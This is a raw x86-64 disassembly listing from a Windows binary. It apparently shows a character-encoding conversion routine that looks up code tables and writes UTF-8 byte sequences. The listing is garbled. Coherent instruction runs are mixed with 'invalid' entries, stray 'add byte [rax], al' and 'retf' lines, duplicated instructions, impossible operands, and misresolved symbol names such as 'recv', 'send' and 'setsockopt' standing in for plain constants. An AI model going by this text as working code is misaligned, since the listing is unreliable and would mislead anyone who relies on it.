ja 0x140066c88
lea rcx, [r14 + 2]
cmp rcx, r15
jae 0x140066fb2
mov r8, qword [rsp + 0x30]
movzx edi, byte [r8 + r14 + 2]
add dil, 0xd0
cmp dil, 9
ja 0x140066ff3
add r14, 3
movzx ecx, dl
imul rcx, rcx, 0x3138
movzx edx, r10b
imul rdx, rdx, 0x4ec
add rdx, rcx
movzx ecx, r11b
lea rcx, [rcx + rcx*4]
lea rdx, [rdx + rcx*2]
movzx ecx, dil
add rcx, rdx
cmp rcx, 0x99fc
jae 0x140062d74
cmp ecx, 0x1d21
lea r11, [0x14019294e]
jne 0x140062e9c
mov rcx, qword [rsp + 0x38]
mov word [rcx + rax], 0x9fee
mov byte [rcx + rax + 2], 0x87
jmp 0x14006307e
lea r8d, [r9 - 0x40]
cmp r8b, 0x3e
jbe 0x140062cdf
cmp r9b, 0xfe
jg 0x140067288
add r9b, 0xbf
mov r8d, r9d
movzx edx, dl
imul r9d, edx, 0xbe
movzx edx, r8b
add edx, r9d
mov r9d, 0x77c
xor r10d, r10d
mov r11d, 0x77c
lea rdi, [0x14018b984]
jmp 0x140062d10
mov r11, r9
sub r9, r10
jbe 0x140062d4b
shr r9, 1
add r9, r10
xor r8d, r8d
cmp word [rdi + r9*2], dx
setne r8b
cmovb r8d, esi
cmp r8b, 1
je 0x140062d08
movzx r8d, r8b
cmp r8d, 0xff
add byte [rax], al
jne 0x140062f18
inc r9
mov r10, r9
mov r9, r11
sub r9, r10
ja 0x140062d10
lea r8, [r10 - 1]
cmp r8, 0x77c
jae 0x1400687f0
lea r8, [0x14018c87c]
add dx, word [r8 + r10*2 - 2]
sub dx, word [rdi + r10*2 - 2]
jmp 0x140062f24
lea rdx, [rcx - 0x2e248]
cmp rdx, 0x100000
jae 0x14006725a
add ecx, 0xfffe1db8
mov edx, ecx
shr edx, 0x12
or dl, 0xf0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rax], dl
mov edx, ecx
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [r8 + rax + 1], dl
mov edx, ecx
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [r8 + rax + 2], dl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rax + 3], cl
mov edx, 4
jmp 0x140063083
lea r8d, [r9 - 0x40]
cmp r8b, 0x3e
jbe 0x140062def
cmp r9b, 0xa0
jg 0x140067288
add r9b, 0xbf
mov r8d, r9d
add dil, 0x5f
movzx edx, dil
lea rdx, [rdx + rdx*2]
shl rdx, 5
movzx r8d, r8b
mov edx, 0xce
xor r9d, r9d
mov r10d, 0xce
add bl, ch
invalid
mov r10, rdx
sub rdx, r9
jbe 0x140062eef
shr rdx, 1
add rdx, r9
xor r8d, r8d
cmp word [r11 + rdx*2], cx
setne r8b
cmovb r8d, esi
cmp r8b, 1
je 0x140062eac
movzx r8d, r8b
cmp r8d, 0xff
jne 0x140063019
inc rdx
mov r9, rdx
mov rdx, r10
sub rdx, r9
ja 0x140062eb4
lea rdx, [r9 - 1]
cmp rdx, 0xce
jae 0x140068824
lea rdx, [0x140192aea]
add cx, word [rdx + r9*2 - 2]
sub cx, word [r11 + r9*2 - 2]
sub ecx, dword [rbx + rcx*2 - 2]
jmp 0x140063024
lea rdx, [0x14018c87c]
movzx edx, word [rdx + r9*2]
movzx edx, dx
mov r8d, edx
shr r8d, 0xc
or r8b, 0xe0
mov r9, qword [rsp + 0x38]
mov byte [r9 + rax], r8b
mov r8d, edx
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [r9 + rax + 1], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 2], dl
mov edx, 3
jmp 0x140063086
cmp dil, 0xa6
je 0x1400630fe
movzx r8d, dil
cmp r8d, 0xa1
add byte [rax], al
add byte [rax], al
jne 0x140063119
add byte [rax], al
movzx edx, r10b
lea r8, [0x140192778]
jmp 0x14006312f
add byte [rax], al
xor r10d, r10d
mov r11d, 0x3b
cmp eax, dword [rax]
add byte [rax], al
cmp eax, dword [rax]
add byte [rax], al
jmp 0x140062fb7
mov r11, r9
sub r9, r10
jbe 0x140062ff3
shr r9, 1
add r9, r10
xor r8d, r8d
cmp word [rbp + r9*2], dx
setne r8b
cmovb r8d, esi
cmp r8b, 1
je 0x140062faf
movzx r8d, r8b
cmp r8d, 0xff
jne 0x140063145
inc r9
mov r10, r9
mov r9, r11
sub r9, r10
ja 0x140062fb7
lea r8, [r10 - 1]
cmp r8, 0x3b
jae 0x14006899b
lea r8, [0x14018f158]
add dx, word [r8 + r10*2 - 2]
add edx, dword [rax + rdx*2 - 2]
add edx, dword [rax + rdx*2 - 2]
sub dx, word [rbp + r10*2 - 2]
jmp 0x140063151
lea rcx, [0x140192aea]
movzx ecx, word [rcx + rdx*2]
movzx edx, cx
cmp edx, 0x800
jae 0x140063052
mov edx, ecx
shr edx, 6
or dl, 0xc0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rax], dl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rax + 1], cl
mov ecx, edx
shr ecx, 0xc
or cl, 0xe0
mov r8, qword [rsp + 0x38]
and al, 0x38
mov byte [r8 + rax], cl
mov ecx, edx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rax + 1], cl
and dl, 0x3f
or dl, 0x80
retf 0x4180
mov byte [rax + rax + 2], dl
mov edx, 3
mov rcx, r14
add rax, rdx
mov qword [rsp + 0x48], rax
cmp rcx, r15
jae 0x140067212
lea rdx, [rax + 3]
cmp rdx, qword [rsp + 0x40]
jae 0x140064622
mov rdx, qword [rsp + 0x30]
movzx edi, byte [rdx + rcx]
inc rcx
mov r14, rcx
test dil, dil
js 0x140062ba1
jmp 0x14006332b
xchg esp, eax
push rax
movabs rdx, 0x4cfffffe3ee9ffff
invalid
invalid
invalid
dec dword [rbp + rcx*4 + 5]
invalid
mov bl, send
invalid
invalid
movzx r9d, word [r8 + rdx*2]
movzx edx, r9w
jmp 0x140062f27
add r9b, 0x20
cmp r9b, 0x16
jae 0x1400631b1
add byte [rax], al
movzx edx, r9b
lea r8, [0x140192834]
jmp 0x14006312f
cmp dl, 0x27
jne case.0x1401243a5.443
cmp r10b, 0x20
jae case.0x1401243a5.443
movzx edx, r10b
movzx edx, dl
lea r8, [0x140192860]
xor edi, esi
adc al, byte [rax]
movzx edx, word [r8 + rdx*2]
cmp edx, 0x800
jae 0x140062f24
jmp 0x140063250
lea rdx, [0x14018f158]
movzx edx, word [rdx + r9*2]
movzx r9d, dx
cmp r9d, 0x800
jae case.0x1400e8349.104
mov r8d, edx
shr r8d, 6
or r8b, 0xc0
mov r9, qword [rsp + 0x38]
mov byte [r9 + rax], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 1], dl
mov edx, 2
jmp 0x140063086
add dil, 0x5e
movzx edx, dil
imul r8d, edx, 0x5e
movzx edx, r10b
movzx edx, dl
add edx, r8d
mov r9d, 0x2b
xor r10d, r10d
rol byte [rcx - 0x45], cl
sub eax, dword [rax]
add byte [rax], al
jmp 0x1400631dd
shr r9, 1
add r9, r10
xor r8d, r8d
cmp word [rbx + r9*2], dx
setne r8b
cmovb r8d, esi
mov r8d, edx
mov eax, edx
shr r8d, 6
or r8b, 0xc0
mov r9, qword [rsp + 0x38]
mov byte [r9 + rax], r8b
and dl, 0x3f
or dl, 0x80
mov byte [r9 + rax + 1], dl
and cl, 0x3f
or r9b, 0x80
mov byte [r8 + rax + 2], r9b
mov edx, 3
add cl, ch
sar ebp, cl
invalid
invalid
add cl, ch
sar ebp, cl
invalid
cmp dil, 0x80
jne 0x1400662fd
mov rcx, qword [rsp + 0x38]
mov word [rcx + rax], 0x82e2
mov byte [rcx + rax + 2], 0xac
add rax, 3
mov r8, rax
mov rcx, r14
jmp 0x14006333c
invalid
xor edx, edx
lea rdi, [r9 - 0x10]
mov rsi, r8
add r10, r8
add r10, 8
mov r8, qword [rsp + 0x70]
lea r13, [r8 + rcx]
mov rbx, qword [r13 + rdx - 8]
mov r15, qword [r13 + rdx]
mov qword [r10 + rdx - 8], rbx
adc bh, al
adc bh, al
mov qword [r10 + rdx], r15
movabs r8, 0x8080808080808080
and rbx, r8
and r15, r8
mov r8, r15
or r8, rbx
jne 0x140063354
add rdx, 0x10
cmp rdx, rdi
jbe 0x1400632f2
jmp 0x140062a3b
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rax], dil
mov r8, qword [rsp + 0x48]
inc r8
mov qword [rsp + 0x48], r8
mov r11, qword [rsp + 0x40]
cmp rcx, r15
cmp ecx, edi
jbe 0x1400629e4
invalid
jmp 0x140068d23
test rbx, rbx
je 0x140063398
tzcnt r9, rbx
shr r9d, 3
mov r12, rbp
mov r15, qword [rsp + 0x28]
mov r10, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
retf
lea rbx, [0x1401928a0]
lea r13, [0x14018d774]
adc al, byte [rax]
adc al, byte [rax]
lea rbp, [0x14018f0e0]
mov r8, rsi
jmp 0x1400633d7
xor edx, edx
mov r12, rbp
mov r10, qword [rsp + 0x50]
jmp 0x140062b6c
test r15, r15
mov r12, rbp
mov r10, qword [rsp + 0x50]
lea r13, [0x14018d774]
mov r8, rsi
je 0x1400633b6
tzcnt r9, r15
jmp 0x1400633bc
invalid
invalid
mov r9d, 0x40
mov r15, qword [rsp + 0x28]
lea rbx, [0x1401928a0]
lea rbp, [0x14018f0e0]
shr r9d, 3
add rdx, r9
invalid
lea ebp, [0x14018f0e0]
mov r8, rsi
jmp 0x140062b7a
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x38], ebp
mov qword [rsp + 0x40], r11
pop rsp
and al, 0x40
cmp byte [rdi + 1], 0
dec dword [rdi]
test byte [rax], bh
add eax, 0x83490000
sti
add ecx, dword [rdi]
xchg al, dl
add al, 0
add byte [rdi], cl
mov dh, 0xe
lea edx, [rcx - 0x40]
cmp dl, 0x3e
jbe 0x140063456
push rcx
rol byte [rax + 0xf763efa], 0x8d
push rcx
add dword [rax - 0x7df05d06], eax
sbb al, 0x3b
add byte [rax], al
lea edx, [rcx + 1]
cmp dl, 0xa2
jb case.0x1400646f9.1134
lea edx, [rcx - 0x62]
imul rax, rax, 0x9d
movzx r8d, dl
lea rdx, [rax + r8]
add r8, rax
add r8, 0xfffffffffffffc52
cmp r8, 0x4998
jae 0x1400646da
lea rax, [0x140176ab4]
movzx eax, word [rax + rdx*2 - 0x75c]
test ax, ax
je 0x1400646da
mov rcx, r8
shr rcx, 5
lea rdx, [0x140176180]
mov ecx, dword [rdx + rcx*4]
bt ecx, r8d
jae 0x140066a1a
invalid
mov byte [rbp], pe_nt_image_headers64
retf 0xeac1
mov byte [rbp + 1], dl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 2], cl
and al, 0x3f
or al, 0x80
mov ecx, 4
jmp 0x1400664b7
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], r11
and al, 0x40
cmp byte [rdi + 1], 0
je 0x140064536
test byte [rdi + 0x10], al
add byte [rax], al
movzx edx, byte [rdi + 2]
mov byte [rdi + 1], 0
add dword [r8], r8d
test r15, r15
je 0x14006396a
cmp r11, 2
jbe case.default.0x1400628ee
movzx ecx, byte [rsi]
cmp dl, 0x1f
jbe 0x140064706
lea r8d, [rcx + 0x5f]
lea eax, [rdx - 0x20]
cmp r8b, 0x5e
jae 0x140065936
movzx eax, al
imul rax, rax, 0x5e
movzx ecx, r8b
lea r9, [rax + rcx]
add r9, 0xfffffffffffffa7e
invalid
dec dword [rax + 1]
enter 0xffffffffffff8149, 0xfffffffffffffff9
stc
or dword cs:[rax], eax
add byte [rdi], cl
cmp dword [rcx], 0x2e
add byte [rax], al
invalid
stc
or dword cs:[rax], eax
add byte [rdi], cl
cmp dword [rcx], 0x2e
add byte [rax], al
lea rcx, [0x140184e20]
movzx eax, word [rcx + rax*2 - 0xb04]
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov byte [rbp], cl
mov qword [rsp + 0x58], r12
lea rax, [rdi + 8]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rax - 0x75], cl
or byte [r8 - 0x77], r9b
and al, 0x70
mov rax, rdi
mov rdi, qword [rdi + 0x10]
movzx ecx, byte [rax + 0x1c]
mov byte [rsp + 0x78], cl
mov eax, edx
mov dword [rsp + 0x50], edx
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
test rdi, rdi
je 0x1400635e0
mov rdx, r13
cmp rdx, r15
jb 0x14006365c
jmp 0x1400639c8
mov rbp, r15
sub rbp, r13
jb 0x1400689b5
mov r14, r11
lea ecx, [rsp + rbp]
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r13, rsi
add r12, rsi
mov rdx, r13
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov r11, r14
cmp rdx, r15
jae 0x1400639c8
lea rcx, [r12 + 3]
cmp rcx, r11
jae 0x140063a10
lea r13, [rdx + 1]
movzx r8d, byte [rsi + rdx]
movzx eax, r8b
test rdi, rdi
jne 0x140063756
test r8b, r8b
js 0x140063694
mov byte [rbp + r12], r8b
inc r12
xor edi, edi
jmp 0x1400635c0
cmp r8b, 0xc2
jb 0x140066a82
cmp r8b, 0xe0
jae 0x1400636c5
mov rcx, qword [rsp + 0x60]
and al, 0x60
mov qword [rcx + 0x10], 1
and eax, 0x1f
mov dword [rcx + 0x18], eax
mov edi, 1
mov dword [rsp + 0x50], eax
jmp 0x1400635c0
cmp r8b, 0xf0
mov rcx, qword [rsp + 0x60]
jae 0x1400636e9
invalid
cmp eax, 0xe0
je 0x14006370c
cmp eax, 0xed
jne 0x140063715
mov byte [rcx + 0x1d], 0x9f
mov byte [rsp + 0x68], 0x9f
jmp 0x140063715
invalid
cmp r8b, 0xf5
jae 0x140066a82
sbb al, 0x90
mov byte [rsp + 0x78], 0x90
jmp 0x14006373a
mov byte [rcx + 0x1c], 0xa0
mov qword [rcx + 0x10], 2
and eax, 0xf
mov dword [rcx + 0x18], eax
mov edi, 2
mov dword [rsp + 0x50], eax
jmp 0x1400635c0
mov qword [rcx + 0x10], 3
and eax, 7
invalid
mov dword [rcx + 0x18], eax
mov edi, 3
mov dword [rsp + 0x50], eax
jmp 0x1400635c0
invalid
cmp r8b, byte [rsp + 0x78]
mov dword [rcx + 0x18], edx
mov r10, qword [rsp + 0x70]
inc r10
mov qword [r9 + 8], r10
mov byte [rsp + 0x78], 0x80
mov byte [rsp + 0x68], 0xbf
invalid
mov r9, r10
mov edi, 0x4cd1894d
mov dword [rsp + 0x70], edx
mov qword [rsp + 0x70], r10
cmp r10, rdi
jne 0x1400635b0
invalid
invalid
cmp rdi, 3
inc dword [rbx]
jne 0x1400637f6
mov ecx, r8d
shr ecx, 0x12
or cl, 0xf0
mov byte [rbp + r12], cl
shr r8d, 0xc
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + r12 + 1], r8b
and eax, 0x244c8b01
push rax
and eax, 0x244c8b01
push rax
and cl, 0x3f
or cl, 0x80
mov byte [rbp + r12 + 2], cl
or al, 0x80
mov byte [rbp + r12 + 3], al
and eax, 0x42800c02
mov byte [rbp + riz + 3], al
add r12, 4
jmp 0x140063818
movzx edx, dx
cmp edx, 0x800
jae 0x14006381d
mov ecx, dword [rsp + 0x50]
or cl, 0xc0
mov byte [rbp + r12], cl
and eax, 0x42800c00
mov byte [rbp + riz + 1], al
and eax, 0x42800c00
mov byte [rbp + riz + 1], al
add r12, 2
mov rcx, r12
jmp 0x14006383e
shr edx, 0xc
or dl, 0xe0
mov byte [rbp + r12], dl
mov edx, dword [rsp + 0x50]
and dl, 0x3f
or dl, 0x80
mov byte [rbp + r12 + 1], dl
or al, 0x80
mov byte [rbp + r12 + 2], al
mov rax, qword [rsp + 0x80]
movups xmmword [rax], xmm6
mov dword [rax + 0x10], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor edx, edx
mov r12, rcx
xor eax, eax
cmp byte [rdi + 2], 0
je 0x14006389d
cmp r11, 2
jbe 0x140064562
mov word [rdi + 1], 0
movzx eax, byte [rdi + 3]
cmp rax, 2
jb 0x140064663
add byte [rdi], cl
mov dh, 0x47
add ecx, dword [rax - 0x7d]
clc
add cl, byte [rdi]
invalid
add byte [rax], al
mov byte [rdi + 3], 4
xor eax, eax
jmp 0x1400650be
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], r11
cmp byte [rdi + 1], 0
je 0x14006453f
movzx eax, byte [rdi + 2]
mov byte [rdi + 1], 0
add byte [rbp - 0x7b], cl
dec dword [rdi]
invalid
invalid
add byte [rax], al
invalid
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rcx + 0x49000000], ah
cmp ebx, 2
cmp r11, 2
jbe case.default.0x1400628ee
movzx esi, byte [rsi]
cmp al, 1
jne 0x140064719
lea ecx, [rsi + 0x61]
cmp cl, 0x53
jae 0x140064719
movzx eax, cl
add eax, 0x3041
xor byte [rax], al
add dh, al
add r11b, r12b
xor byte [rax], al
add dh, al
add r11b, r12b
mov ecx, eax
shr ecx, 6
and cl, 7
or cl, 0x80
mov byte [rbp + 1], cl
and al, 0x3f
or al, 0x80
mov byte [rbp + 2], al
jmp case.0x140061f77.64
mov byte [r12 + 8], 1
jmp 0x140066f85
cmp byte [rdi + 7], 0
je 0x140064548
cmp r11, 3
jb 0x140065038
movzx eax, word [rdi + 4]
cmp eax, 0x80
jae 0x140064638
mov byte [rbp], al
mov ecx, 1
jmp 0x140064767
test r15, r15
je 0x1400639bd
cmp byte [rdi + 1], 0
jne 0x1400639bd
cmp r11, 3
jae 0x140064587
mov byte [r12 + 8], 1
xor r15d, r15d
jmp 0x14006459f
cmp byte [rsp + 0x120], 0
je 0x140064553
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 0
jmp 0x140066f85
lea rax, [rsp + 0x38]
and rax, 0xffffffffffffff00
or rax, rdx
mov qword [r12], rcx
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], r10
jmp 0x140066f96
mov byte [r12 + 8], 0
jmp 0x14006459f
test rdi, rdi
je 0x1400645a8
cmp byte [rsp + 0x120], 0
je 0x1400645a8
mov rcx, qword [rsp + 0x70]
inc cl
xorps xmm0, xmm0
mov rax, qword [rsp + 0x80]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0
mov rax, qword [rsp + 0x58]
mov byte [rax + 8], 2
mov byte [rax + 9], cl
mov byte [rax + 0xa], 0
jmp 0x1400645b1
mov rax, qword [rsp + 0x58]
mov byte [rax + 8], 1
jmp 0x1400645b1
lea rax, [rsi + 8]
mov qword [rsp + 0x70], rax
lea rdi, [rsi + rbp]
mov r8, qword [rsp + 0x38]
mov rbx, r15
sub rbx, rbp
mov qword [rsp + 0x50], r11
mov r10, r11
sub r10, rcx
cmp r10, rbx
mov r14, rbx
cmovb r14, r10
lea r11, [r8 + rcx]
mov r9d, r11d
xor r9d, edi
test r9b, 7
jne 0x140063a77
mov r15d, edi
neg r15d
and r15d, 7
lea r9, [r15 + 0x10]
cmp r9, r14
jbe 0x140063aaf
mov rdx, r12
xor esi, esi
cmp rsi, r14
mov r12, rdx
jae 0x1400645ef
nop dword [rax + rax]
movzx r9d, byte [rdi + rsi]
test r9b, r9b
js 0x140063bfb
mov byte [r11 + rsi], r9b
inc rsi
cmp r14, rsi
jne 0x140063a90
jmp 0x1400645ef
mov rdx, r12
test r15, r15
je 0x140063b84
movzx r9d, byte [rdi]
test r9b, r9b
js 0x140063bf6
mov byte [r11], r9b
mov esi, 1
cmp r15d, 1
je 0x140063b86
movzx r9d, byte [rdi + 1]
test r9b, r9b
js 0x140063bf8
mov byte [r11 + 1], r9b
mov esi, 2
cmp r15d, 2
je 0x140063b86
movzx r9d, byte [rdi + 2]
test r9b, r9b
js 0x140063bf8
mov byte [r11 + 2], r9b
mov esi, 3
cmp r15d, 3
je 0x140063b86
movzx r9d, byte [rdi + 3]
test r9b, r9b
js 0x140063bf8
mov byte [r11 + 3], r9b
mov esi, 4
cmp r15d, 4
je 0x140063b86
movzx r9d, byte [rdi + 4]
test r9b, r9b
js 0x140063bf8
mov byte [r11 + 4], r9b
mov esi, 5
cmp r15d, 5
je 0x140063b86
movzx r9d, byte [rdi + 5]
test r9b, r9b
js 0x140063bf8
mov byte [r11 + 5], r9b
mov esi, 6
cmp r15d, 6
je 0x140063b86
movzx r9d, byte [rdi + 6]
test r9b, r9b
js 0x140063bf8
mov byte [r11 + 6], r9b
mov esi, 7
jmp 0x140063b86
xor esi, esi
lea r9, [r14 - 0x10]
add r8, rcx
add r8, 8
mov rax, qword [rsp + 0x70]
lea r15, [rax + rbp]
mov r13, qword [r15 + rsi - 8]
mov rax, qword [r15 + rsi]
mov qword [r8 + rsi - 8], r13
mov qword [r8 + rsi], rax
movabs r12, 0x8080808080808080
and r13, r12
and rax, r12
mov r12, rax
or r12, r13
jne 0x140063bd2
add rsi, 0x10
cmp rsi, r9
jbe 0x140063b9a
jmp 0x140063a7c
test r13, r13
je 0x140064417
tzcnt r8, r13
shr r8d, 3
mov r12, rdx
mov r15, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
jmp 0x14006443e
xor esi, esi
mov r12, rdx
mov r15, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
add rbp, rsi
lea rbx, [rsi + rcx]
mov qword [rsp + 0x48], rbx
lea rax, [rsi + rcx]
add rax, 2
cmp rax, rdx
mov rdx, qword [rsp + 0x60]
jae 0x14006707c
inc rbp
mov rsi, qword [rsp + 0x30]
lea ecx, [r9 + 0x5f]
cmp cl, 0x5e
jae 0x140063c6f
cmp rbp, r15
jae 0x140066229
movzx r8d, byte [rsi + rbp]
lea r14, [rbp + 1]
lea r9d, [r8 + 0x5f]
cmp cl, 3
jne 0x140063d97
cmp r9b, 0x53
jae 0x140063d97
movzx eax, r9b
add eax, 0x3041
jmp 0x140063dab
cmp r9b, 0x8e
je 0x140063d2d
movzx eax, r9b
cmp eax, 0x8f
jne 0x140066b16
cmp rbp, r15
jae 0x140066aef
movzx r9d, byte [rsi + rbp]
lea rcx, [rbp + 1]
lea r8d, [r9 + 0x5f]
cmp r8b, 0x5d
ja 0x140066c02
cmp rcx, r15
jae 0x140066c2a
movzx r9d, byte [rsi + rbp + 1]
add rbp, 2
lea r10d, [r9 + 0x5f]
cmp r10b, 0x5d
ja 0x140066c6c
movzx eax, r8b
imul rax, rax, 0x5e
movzx ecx, r10b
lea r10, [rax + rcx]
add rax, rcx
add rax, 0xfffffffffffffa7e
cmp rax, 0x16a9
jae 0x140063e17
lea rax, [0x1401889f2]
movzx eax, word [rax + r10*2 - 0xb04]
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rbx], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rbx + 1], cl
and al, 0x3f
or al, 0x80
mov byte [r8 + rbx + 2], al
jmp 0x140063fea
cmp rbp, r15
jae 0x140066b08
movzx r8d, byte [rsi + rbp]
lea rcx, [rbp + 1]
lea r9d, [r8 + 0x5f]
cmp r9b, 0x3e
ja 0x140066bf1
movzx eax, r9b
add eax, 0xffffff61
mov r8, qword [rsp + 0x38]
mov byte [r8 + rbx], 0xef
mov r9d, eax
shr r9d, 6
and r9b, 0x3f
or r9b, 0x80
mov byte [r8 + rbx + 1], r9b
and al, 0x3f
or al, 0x80
mov byte [r8 + rbx + 2], al
add rbx, 3
mov rbp, rcx
mov qword [rsp + 0x48], rbx
cmp rbp, r15
jb 0x1400641e2
jmp 0x14006623e
cmp cl, 4
jne 0x140063dd5
cmp r9b, 0x56
jae 0x140063dd5
movzx eax, r9b
add eax, 0x30a1
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rbx], 0xe3
mov r8d, eax
shr r8d, 6
and r8b, 7
or r8b, 0x80
mov byte [rcx + rbx + 1], r8b
and al, 0x3f
or al, 0x80
mov byte [rcx + rbx + 2], al
jmp 0x1400641cd
cmp r9b, 0x5d
ja 0x140067155
movzx eax, cl
imul rax, rax, 0x5e
movzx r8d, r9b
lea rcx, [rax + r8]
add rax, r8
add rax, 0xfffffffffffffa7e
cmp rax, 0xb95
jae 0x140063f59
lea rax, [0x14017fde4]
movzx eax, word [rax + rcx*2 - 0xb04]
jmp 0x1400641a3
lea r8, [r10 - 0x6c]
mov ecx, 2
cmp r8, 0xb
jb 0x140063eeb
lea r8, [r10 - 0x7f]
mov ecx, 5
cmp r8, 3
jb 0x140063eeb
lea r8, [r10 - 0xa8]
mov ecx, 8
cmp r8, 7
jb 0x140063eeb
lea r8, [r10 - 0x216]
mov ecx, 0xb
cmp r8, 0xc
jb 0x140063eeb
lea r8, [r10 - 0x226]
mov ecx, recv
cmp r8, 0xc
jb 0x140063eeb
lea r8, [r10 - 0x260]
mov ecx, setsockopt
cmp r8, 2
jb 0x140063eeb
lea r8, [r10 - 0x290]
mov ecx, setsockopt
cmp r8, 2
jb 0x140063eeb
lea r8, [r10 - 0x2f0]
mov ecx, 0x17
cmp r8, 0x10
jb 0x140063eeb
lea r8, [r10 - 0x310]
mov ecx, 0x1a
cmp r8, 0x10
jb 0x140063eeb
lea r8, [r10 - 0x34e]
mov ecx, 0x1d
cmp r8, 0x57
jb 0x140063eeb
lea r8, [r10 - 0x3ac]
mov ecx, 0x20
cmp r8, 0x56
ja 0x140063f80
lea rax, [0x14018b942]
movzx ecx, word [rax + rcx*2]
add rcx, r8
cmp rcx, 0xff
jae 0x1400687a2
lea rax, [0x14018b744]
movzx ecx, word [rax + rcx*2]
test cx, cx
je 0x140063f80
movzx r8d, cx
cmp r8d, 0x800
jae 0x140063fbd
mov eax, ecx
shr eax, 6
or al, 0xc0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rbx], al
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rbx + 1], cl
add rbx, 2
mov qword [rsp + 0x48], rbx
cmp rbp, r15
jb 0x1400641e2
jmp 0x14006623e
lea rax, [rcx - 0x1142]
cmp rax, 0xd3e
jae 0x140064001
lea rax, [0x14018150e]
movzx eax, word [rax + rcx*2 - 0x2284]
jmp 0x1400641a3
lea rcx, [r10 - 0x255]
cmp rcx, 0xb
jae 0x140064024
add cl, 2
mov rax, qword [rsp + 0x38]
mov byte [rax + rbx], 0xd0
mov rax, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
lea r9, [r8 + 1]
mov qword [rsp + 0x48], r9
or cl, 0x80
mov byte [rax + r8 + 1], cl
jmp 0x14006405e
mov eax, r8d
shr eax, 0xc
or al, 0xe0
mov r9, qword [rsp + 0x38]
mov byte [r9 + rbx], al
mov byte [rcx + rbx], al
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [r9 + rbx + 1], r8b
and cl, 0x3f
or cl, 0x80
mov byte [r9 + rbx + 2], cl
add rbx, 3
mov qword [rsp + 0x48], rbx
cmp rbp, r15
jb 0x1400641e2
jmp 0x14006623e
lea rax, [rcx - 0x2050]
cmp rax, 0x168
jae 0x140064079
lea rax, [0x140182f8a]
movzx eax, word [rax + rcx*2 - 0x40a0]
jmp 0x1400641a3
add r10, 0xfffffffffffffd7b
cmp r10, 0xb
jae 0x140068172
add r10b, 0x12
mov rax, qword [rsp + 0x38]
mov byte [rax + rbx], 0xd1
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
lea r8, [rcx + 1]
mov qword [rsp + 0x48], r8
or r10b, 0x80
mov byte [rax + rcx + 1], r10b
mov rbx, qword [rsp + 0x48]
inc rbx
mov qword [rsp + 0x48], rbx
cmp rbp, r15
jb 0x1400641e2
jmp 0x14006623e
mov r9d, 2
cmp ecx, 0x6c
jae 0x14006408c
mov r8, rcx
jmp 0x140064140
lea r8, [rcx - 0x77]
mov r9d, 5
cmp r8, 8
jb 0x140064140
lea r8, [rcx - 0x87]
mov r9d, 8
cmp r8, 7
jb 0x140064140
lea r8, [rcx - 0x99]
mov r9d, recv
cmp r8, 0xf
jb 0x140064140
lea r8, [rcx - 0xaf]
mov r9d, recv
lea rax, [0x14018343a]
movzx ecx, word [rax + r9*2]
add rcx, r8
cmp rcx, 0xf0
jae 0x14006896e
lea rax, [0x14018325a]
movzx ecx, word [rax + rcx*2]
cmp ecx, 0x800
jae 0x1400641a0
mov eax, ecx
shr eax, 6
or al, 0xc0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rbx], al
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rbx + 1], cl
add rbx, 2
mov rbp, r14
mov qword [rsp + 0x48], rbx
cmp rbp, r15
jb 0x1400641e2
jmp 0x14006623e
movzx eax, cx
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rbx], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [r8 + rbx + 1], cl
and al, 0x3f
or al, 0x80
mov byte [r8 + rbx + 2], al
add rbx, 3
mov rbp, r14
mov qword [rsp + 0x48], rbx
cmp rbp, r15
jae 0x14006623e
lea rax, [rbx + 2]
cmp rax, qword [rsp + 0x40]
jae 0x140065896
movzx r9d, byte [rsi + rbp]
inc rbp
test r9b, r9b
js 0x140063c2f
jmp 0x1400643e9
add byte [rax], al
cmp r10, 6
jb 0x140064361
cmp ecx, 0x26a
jne 0x14006430e
mov r8d, 0x23
xor r10d, r10d
jmp 0x140064361
lea r10, [rcx - 0x26b]
mov r8d, 0x26
cmp r10, 0x1a
jb 0x140064361
lea r10, [rcx - 0x468]
mov r8d, 0x29
cmp r10, 0x14
jb 0x140064361
